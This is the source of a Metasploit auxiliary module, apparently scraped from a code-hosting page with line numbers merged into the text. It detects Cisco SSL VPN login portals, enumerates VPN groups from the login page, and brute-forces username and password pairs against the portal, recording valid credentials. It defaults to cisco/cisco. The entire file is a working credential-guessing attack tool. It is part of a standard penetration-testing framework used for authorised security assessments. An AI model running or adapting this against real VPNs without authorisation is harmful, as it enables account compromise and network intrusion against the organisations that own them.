Path: blob/master/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report8include Msf::Auxiliary::AuthBrute9include Msf::Auxiliary::Scanner1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Cisco SSL VPN Bruteforce Login Utility',16'Description' => %q{17This module scans for Cisco SSL VPN web login portals and18performs login brute force to identify valid credentials.19},20'Author' => [21'Jonathan Claudius <jclaudius[at]trustwave.com>'22],23'License' => MSF_LICENSE,24'DefaultOptions' => {25'SSL' => true,26'USERNAME' => 'cisco',27'PASSWORD' => 'cisco'28},29'Notes' => {30'Reliability' => UNKNOWN_RELIABILITY,31'Stability' => UNKNOWN_STABILITY,32'SideEffects' => UNKNOWN_SIDE_EFFECTS33}34)35)3637register_options(38[39Opt::RPORT(443),40OptString.new('GROUP', [false, "A specific VPN group to use", ''])41]42)43register_advanced_options(44[45OptBool.new('EmptyGroup', [true, "Use an empty group with authentication requests", false])46]47)48end4950def run_host(ip)51unless check_conn?52vprint_error("Connection failed, Aborting...")53return false54end5556unless is_app_ssl_vpn?57vprint_error("Application does not appear to be Cisco SSL VPN. Module will not continue.")58return false59end6061vprint_good("Application appears to be Cisco SSL VPN. Module will continue.")6263groups = Set.new64if datastore['EmptyGroup'] == true65groups << ""66elsif datastore['GROUP'].empty?67vprint_status("Attempt to Enumerate VPN Groups...")68groups = enumerate_vpn_groups6970if groups.empty?71vprint_warning("Unable to enumerate groups")72vprint_warning("Using the default group: DefaultWEBVPNGroup")73groups << "DefaultWEBVPNGroup"74else75vprint_good("Enumerated VPN Groups: #{groups.to_a.join(", ")}")76end7778else79groups << datastore['GROUP']80end8182vprint_status("Starting login brute force...")83groups.each do |group|84each_user_pass do |user, pass|85do_login(user, pass, group)86end87end88end8990# Verify whether the connection is working or not91def check_conn?92begin93res = send_request_cgi('uri' => '/', 'method' => 'GET')94if res95vprint_good("Server is responsive...")96return true97end98rescue ::Rex::ConnectionRefused,99::Rex::HostUnreachable,100::Rex::ConnectionTimeout,101::Rex::ConnectionError,102::Errno::EPIPE103end104false105end106107def get_login_resource108send_request_cgi(109'uri' => '/+CSCOE+/logon.html',110'method' => 'GET',111'vars_get' => { 'fcadbadd' => "1" }112)113end114115def enumerate_vpn_groups116groups = Set.new117group_name_regex = /<select id="group_list" name="group_list" style="z-index:1(?:; float:left;)?" onchange="updateLogonForm\(this\.value,{(.*)}/118119res = get_login_resource120if res && match = res.body.match(group_name_regex)121group_string = match[1]122groups = group_string.scan(/'([\w\-0-9]+)'/).flatten.to_set123end124125groups126end127128# Verify whether we're working with SSL VPN or not129def is_app_ssl_vpn?130res = get_login_resource131res && res.code == 200 && res.body.match(/webvpnlogin/)132end133134def do_logout(cookie)135send_request_cgi(136'uri' => '/+webvpn+/webvpn_logout.html',137'method' => 'GET',138'cookie' => cookie139)140end141142def report_cred(opts)143service_data = {144address: opts[:ip],145port: opts[:port],146service_name: 'Cisco SSL VPN',147protocol: 'tcp',148workspace_id: myworkspace_id149}150151credential_data = {152origin_type: :service,153module_fullname: fullname,154username: opts[:user],155private_data: opts[:password],156private_type: :password157}.merge(service_data)158159login_data = {160last_attempted_at: DateTime.now,161core: create_credential(credential_data),162status: Metasploit::Model::Login::Status::SUCCESSFUL,163proof: opts[:proof]164}.merge(service_data)165166create_credential_login(login_data)167end168169# Brute-force the login page170def do_login(user, pass, group)171vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect} and group:#{group.inspect}")172173begin174cookie = "webvpn=; " +175"webvpnc=; " +176"webvpn_portal=; " +177"webvpnSharePoint=; " +178"webvpnlogin=1; " +179"webvpnLang=en;"180181post_params = {182'tgroup' => '',183'next' => '',184'tgcookieset' => '',185'username' => user,186'password' => pass,187'Login' => 'Logon'188}189190post_params['group_list'] = group unless group.empty?191192res = send_request_cgi(193'uri' => '/+webvpn+/index.html',194'method' => 'POST',195'ctype' => 'application/x-www-form-urlencoded',196'cookie' => cookie,197'vars_post' => post_params198)199200if res &&201res.code == 200 &&202res.body.match(/SSL VPN Service/) &&203res.body.match(/webvpn_logout/i)204205print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}")206207do_logout(res.get_cookies)208209report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)210report_note(ip: rhost, type: 'cisco.cred.group', data: { :user => user, :group => group })211return :next_user212213else214vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}")215end216rescue ::Rex::ConnectionRefused,217::Rex::HostUnreachable,218::Rex::ConnectionTimeout,219::Rex::ConnectionError,220::Errno::EPIPE221vprint_error("HTTP Connection Failed, Aborting")222return :abort223end224end225end226227228